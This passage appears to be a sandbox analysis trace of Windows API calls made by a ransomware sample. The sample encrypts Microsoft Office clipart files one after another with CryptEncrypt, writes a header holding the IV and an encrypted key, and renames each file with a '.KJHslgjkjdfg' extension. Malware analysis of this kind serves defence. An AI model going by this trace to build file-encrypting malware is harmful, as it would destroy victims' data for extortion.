lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.710] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.710] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.710] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.710] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.710] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.710] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2ea0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2ea0, lpOverlapped=0x0) returned 1 [0189.711] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2ea0, dwBufLen=0x2ea0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2ea0) returned 1 [0189.711] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.711] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2ea0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2ea0, lpOverlapped=0x0) returned 1 [0189.711] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.711] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.711] SetEndOfFile (hFile=0x114) returned 1 [0189.713] GetProcessHeap () returned 0x2a0000 [0189.713] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.713] GetProcessHeap () returned 0x2a0000 [0189.713] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.713] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf.kjhslgjkjdfg")) returned 1 [0189.715] CloseHandle (hObject=0x114) returned 1 [0189.715] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b20100, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b20100, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x4f72, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00212_.WMF", cAlternateFileName="")) returned 1 [0189.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.721] GetProcessHeap () returned 0x2a0000 [0189.721] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.721] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.721] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.721] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0189.723] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.723] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.723] GetProcessHeap () returned 0x2a0000 [0189.723] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.723] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.723] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.723] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.723] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.724] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.724] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.724] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.724] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.724] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.724] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.724] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.724] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4f72, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4f72, lpOverlapped=0x0) returned 1 [0189.725] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4f80, dwBufLen=0x4f80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4f80) returned 1 [0189.725] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.725] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4f80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4f80, lpOverlapped=0x0) returned 1 [0189.725] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.725] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.725] SetEndOfFile (hFile=0x114) returned 1 [0189.727] GetProcessHeap () returned 0x2a0000 [0189.727] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.727] GetProcessHeap () returned 0x2a0000 [0189.727] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.728] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf.kjhslgjkjdfg")) returned 1 [0189.729] CloseHandle (hObject=0x114) returned 1 [0189.729] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00221_.WMF", cAlternateFileName="")) returned 1 [0189.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.730] GetProcessHeap () returned 0x2a0000 [0189.730] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.730] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.730] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.730] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0189.733] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.733] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.733] GetProcessHeap () returned 0x2a0000 [0189.733] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.733] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.733] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.733] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.733] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.733] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.733] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.733] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.733] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.734] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.734] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.734] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.734] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f74, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1f74, lpOverlapped=0x0) returned 1 [0189.734] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f80, dwBufLen=0x1f80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f80) returned 1 [0189.735] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.735] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1f80, lpOverlapped=0x0) returned 1 [0189.735] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.735] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.735] SetEndOfFile (hFile=0x114) returned 1 [0189.737] GetProcessHeap () returned 0x2a0000 [0189.737] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.737] GetProcessHeap () returned 0x2a0000 [0189.737] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.737] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf.kjhslgjkjdfg")) returned 1 [0189.739] CloseHandle (hObject=0x114) returned 1 [0189.739] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00222_.WMF", cAlternateFileName="")) returned 1 [0189.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.740] GetProcessHeap () returned 0x2a0000 [0189.740] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.740] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.740] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.740] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.742] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.742] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.742] GetProcessHeap () returned 0x2a0000 [0189.742] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.742] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.742] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.742] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.742] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.743] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.743] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.743] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.743] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.743] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.743] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.743] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.743] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1e5c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1e5c, lpOverlapped=0x0) returned 1 [0189.744] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e60, dwBufLen=0x1e60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e60) returned 1 [0189.744] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.744] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1e60, lpOverlapped=0x0) returned 1 [0189.744] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.744] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1f34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.744] SetEndOfFile (hFile=0x114) returned 1 [0189.746] GetProcessHeap () returned 0x2a0000 [0189.746] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.746] GetProcessHeap () returned 0x2a0000 [0189.746] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.746] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf.kjhslgjkjdfg")) returned 1 [0189.748] CloseHandle (hObject=0x114) returned 1 [0189.748] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3642, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00223_.WMF", cAlternateFileName="")) returned 1 [0189.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.750] GetProcessHeap () returned 0x2a0000 [0189.750] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.750] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.750] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.750] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0189.752] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.752] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.752] GetProcessHeap () returned 0x2a0000 [0189.752] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.752] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.752] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.752] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.752] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.752] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.752] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.752] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.753] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.753] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.753] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.753] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.753] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3642, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3642, lpOverlapped=0x0) returned 1 [0189.753] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3650, dwBufLen=0x3650 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3650) returned 1 [0189.753] 